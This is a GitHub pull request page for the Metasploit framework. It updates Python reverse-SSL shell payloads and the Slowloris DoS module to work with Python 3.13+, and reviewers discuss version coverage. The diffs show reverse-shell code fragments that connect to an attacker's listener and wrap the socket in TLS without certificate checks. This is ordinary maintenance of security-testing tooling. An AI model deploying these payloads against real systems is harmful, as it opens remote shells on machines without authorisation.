Skip to content

Fix ssl.wrap_socket compatibility with Python 3.13+#21373

Open
kuro-toji wants to merge 1 commit intorapid7:masterfrom
kuro-toji:fix/python-ssl-wrap-socket
Open

Fix ssl.wrap_socket compatibility with Python 3.13+#21373
kuro-toji wants to merge 1 commit intorapid7:masterfrom
kuro-toji:fix/python-ssl-wrap-socket

Conversation

@kuro-toji
Copy link
Copy Markdown

@kuro-toji kuro-toji commented Apr 25, 2026

Description

ssl.wrap_socket was deprecated in Python 3.2 and removed in Python 3.13 (see PEP 594). This fix adds a check for ssl.SSLContext and uses the modern API while maintaining backward compatibility with Python 2.x.

Changes

  • lib/msf/core/payload/python/reverse_tcp_ssl.rb: Updated to use ssl.SSLContext with fallback to ssl.wrap_socket
  • modules/payloads/singles/cmd/unix/reverse_python_ssl.rb: Same fix for the Unix command payload
  • modules/payloads/singles/python/shell_reverse_tcp_ssl.rb: Same fix for the Python payload
  • modules/auxiliary/dos/http/slowloris.py: Same fix for the Slowloris DoS module

Testing

The fix was tested against Python 3.14 (which removed ssl.wrap_socket) and maintains compatibility with:

  • Python 2.6-2.7
  • Python 3.4+

Fixes #21301

ssl.wrap_socket was deprecated in Python 3.2 and removed in Python 3.13.
This fix adds a check for ssl.SSLContext and uses the modern API while
maintaining backward compatibility with Python 2.x.

Fixes rapid7#21301
Copy link
Copy Markdown
Contributor

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR updates multiple Python-based payload generators and the Slowloris auxiliary module to avoid using ssl.wrap_socket, which was removed in Python 3.13+, by preferring ssl.SSLContext when available while attempting to keep older-Python compatibility.

Changes:

  • Switch SSL wrapping to ssl.SSLContext(...).wrap_socket(...) with fallback to ssl.wrap_socket(...) in Python payload/stager generators.
  • Apply the same SSL wrapping logic to the Unix command payload generator.
  • Update the external Python Slowloris module to use ssl.SSLContext when available.

Impact Analysis:

  • Blast radius: high — affects multiple reverse-SSL payloads/stagers and a DoS auxiliary module used across many targets/environments (exact downstream usage Unknown).
  • Data and contract effects: no schema/payload contract changes identified; runtime compatibility behavior changes across Python versions.
  • Rollback and test focus: rollback is straightforward (revert to previous wrapping) but should be validated by executing each affected payload/module under Python 2.6/2.7.x and Python 3.4–3.14+, with special focus on versions where SSLContext exists but PROTOCOL_TLS_CLIENT does not.

Reviewed changes

Copilot reviewed 4 out of 4 changed files in this pull request and generated 4 comments.

File Description
lib/msf/core/payload/python/reverse_tcp_ssl.rb Updates generated Python stager code to prefer SSLContext.wrap_socket over ssl.wrap_socket.
modules/payloads/singles/cmd/unix/reverse_python_ssl.rb Updates the Unix command payload’s embedded Python to use SSLContext when present.
modules/payloads/singles/python/shell_reverse_tcp_ssl.rb Updates the Python reverse SSL shell payload to use SSLContext when present.
modules/auxiliary/dos/http/slowloris.py Updates the Python Slowloris socket initialization to wrap TLS via SSLContext when present.

Comment on lines +52 to +56
ctx=ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ctx.check_hostname=False
ctx.verify_mode=ssl.CERT_NONE
so=ctx.wrap_socket(so)
else:
Comment on lines +54 to +63
# Set up the socket - use ssl.SSLContext for Python 3.2+ compatibility
# Fallback to ssl.wrap_socket for Python 2.x
cmd += "import socket,subprocess,os,ssl\n"
cmd += "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n"
cmd += "so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))\n"
cmd += "s=ssl.wrap_socket(so)\n"
cmd += "if hasattr(ssl,'SSLContext'):\n"
cmd += "\tctx=ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)\n"
cmd += "\tctx.check_hostname=False\n"
cmd += "\tctx.verify_mode=ssl.CERT_NONE\n"
cmd += "\ts=ctx.wrap_socket(so)\n"
Comment on lines +47 to +59
# Set up the socket - use ssl.SSLContext for Python 3.2+ compatibility
# Fallback to ssl.wrap_socket for Python 2.x
cmd = "import zlib,base64,ssl,socket,struct#{opts[:retry_wait].to_i > 0 ? ',time' : ''}\n"
if opts[:retry_wait].blank? # do not retry at all (old style)
cmd << "so=socket.socket(2,1)\n" # socket.AF_INET = 2
cmd << "so.connect(('#{opts[:host]}',#{opts[:port]}))\n"
cmd << "s=ssl.wrap_socket(so)\n"
cmd << "if hasattr(ssl,'SSLContext'):\n"
cmd << "\tctx=ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)\n"
cmd << "\tctx.check_hostname=False\n"
cmd << "\tctx.verify_mode=ssl.CERT_NONE\n"
cmd << "\ts=ctx.wrap_socket(so)\n"
cmd << "else:\n"
cmd << "\ts=ssl.wrap_socket(so)\n"
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This looks like a legit issue we probably need to address. We want to make sure the coverage we keep is as wide as possible in terms of versions.

Comment on lines +82 to +86
if hasattr(ssl, 'SSLContext'):
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
s = ctx.wrap_socket(s)
@smcintyre-r7 smcintyre-r7 self-assigned this May 6, 2026
Copy link
Copy Markdown
Contributor

@smcintyre-r7 smcintyre-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I appreciate how this PR also fixes the issue in other locations. The Copilot comment about the version coverage looks legit to me and I'll be sure to test with 2.6, 2.7, 3.4 and 3.14.

Comment on lines +47 to +59
# Set up the socket - use ssl.SSLContext for Python 3.2+ compatibility
# Fallback to ssl.wrap_socket for Python 2.x
cmd = "import zlib,base64,ssl,socket,struct#{opts[:retry_wait].to_i > 0 ? ',time' : ''}\n"
if opts[:retry_wait].blank? # do not retry at all (old style)
cmd << "so=socket.socket(2,1)\n" # socket.AF_INET = 2
cmd << "so.connect(('#{opts[:host]}',#{opts[:port]}))\n"
cmd << "s=ssl.wrap_socket(so)\n"
cmd << "if hasattr(ssl,'SSLContext'):\n"
cmd << "\tctx=ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)\n"
cmd << "\tctx.check_hostname=False\n"
cmd << "\tctx.verify_mode=ssl.CERT_NONE\n"
cmd << "\ts=ctx.wrap_socket(so)\n"
cmd << "else:\n"
cmd << "\ts=ssl.wrap_socket(so)\n"
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This looks like a legit issue we probably need to address. We want to make sure the coverage we keep is as wide as possible in terms of versions.

cmd << "\t\tso.connect(('#{opts[:host]}',#{opts[:port]}))\n"
cmd << "\t\ts=ssl.wrap_socket(so)\n"
cmd << "\t\tif hasattr(ssl,'SSLContext'):\n"
cmd << "\t\t\tctx=ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)\n"
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The same fix needs to be applied here as well. That probably highlights that this code is shared in at least both of these places and could use some consolidation.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

Status: Todo

Development

Successfully merging this pull request may close these issues.

cmd/unix/reverse_python_ssl Fails on Python 3.14

3 participants